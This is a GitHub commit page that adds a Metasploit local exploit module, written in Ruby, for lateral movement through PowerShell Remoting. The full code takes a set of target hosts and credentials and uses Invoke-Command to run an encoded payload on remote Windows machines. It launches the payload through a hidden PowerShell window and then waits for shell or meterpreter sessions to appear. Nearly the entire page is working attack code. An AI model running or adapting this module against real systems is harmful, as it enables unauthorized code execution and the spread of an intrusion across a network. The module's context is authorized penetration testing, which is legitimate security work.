Skip to content

Commit 0c2ed21

Browse files
committed
Land rapid7#4318, Lateral movement through PSRemoting
2 parents cf64577 + 23d8479 commit 0c2ed21

File tree

1 file changed

+155
-0
lines changed

1 file changed

+155
-0
lines changed
Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
9+
class Metasploit3 < Msf::Exploit::Local
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Powershell
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Powershell Remoting Remote Command Execution',
17+
'Description' => %q{
18+
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
19+
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
20+
use a HOSTFILE to supply a list of known hostnames.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [ 'Ben Campbell' ],
24+
'References' =>
25+
[
26+
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
27+
[ 'OSVDB', '3106']
28+
],
29+
'DefaultOptions' =>
30+
{
31+
'EXITFUNC' => 'thread'
32+
},
33+
'DisclosureDate' => 'Jan 01 1999',
34+
'Platform' => [ 'win' ],
35+
'SessionTypes' => [ 'meterpreter', 'shell' ],
36+
'Targets' =>
37+
[
38+
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
39+
],
40+
'DefaultTarget' => 0
41+
))
42+
43+
register_options([
44+
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
45+
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
46+
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
47+
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
48+
OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
49+
# Move this out of advanced
50+
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
51+
OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ])
52+
])
53+
54+
register_advanced_options(
55+
[
56+
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
57+
], self.class)
58+
end
59+
60+
def exploit
61+
if !datastore['ExitOnSession'] && !job_id
62+
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
63+
end
64+
65+
unless datastore['RHOSTS'] || datastore['HOSTFILE']
66+
fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
67+
end
68+
69+
if datastore['SMBUser'] && datastore['SMBPass'].nil?
70+
fail_with(Failure::BadConfig, "Need both username and password set.")
71+
end
72+
73+
if datastore['RHOSTS']
74+
ip_list = "$iplist="
75+
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
76+
ip_list << "'#{ip}',"
77+
end
78+
79+
# Remove trailing comma...
80+
ip_list = ip_list[0..-2]
81+
ip_list << ";"
82+
end
83+
84+
known_hosts = ""
85+
if datastore['HOSTFILE']
86+
::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
87+
hostname.strip!
88+
known_hosts << "'#{hostname}'," unless hostname.blank?
89+
end
90+
known_hosts = known_hosts[0..-2]
91+
end
92+
93+
command = cmd_psh_payload(payload.encoded,
94+
payload_instance.arch.first,
95+
encode_final_payload: true,
96+
remove_comspec: true)
97+
98+
ps = <<EOF
99+
#{generate_credentials}
100+
$ResultList=@(#{known_hosts});
101+
#{ip_list}
102+
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
103+
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
104+
EOF
105+
106+
if datastore['SMBUser']
107+
ps << " -Credential $creds"
108+
end
109+
110+
# If the host process terminates too quickly the jobs will die
111+
# before they spawn in a new process.
112+
ps << ";Sleep 20;"
113+
ps.gsub!("\n", "")
114+
115+
command = generate_psh_command_line(
116+
noprofile: true,
117+
windowstyle: 'hidden',
118+
command: ps
119+
)
120+
121+
print_status("Executing command...")
122+
begin
123+
cmd_exec(command)
124+
rescue Rex::TimeoutError
125+
end
126+
127+
stime = Time.now.to_f
128+
loop do
129+
break if session_created? && datastore['ExitOnSession']
130+
break if datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f)
131+
132+
Rex.sleep(1)
133+
end
134+
135+
print_status("Completed")
136+
end
137+
138+
def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass'])
139+
creds = ""
140+
141+
unless user.nil?
142+
creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\
143+
"$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
144+
if domain.nil?
145+
creds << "'#{user}'"
146+
else
147+
creds << "'#{domain}\\#{user}'"
148+
end
149+
150+
creds << ",$pass;"
151+
end
152+
153+
creds
154+
end
155+
end

0 commit comments

Comments
 (0)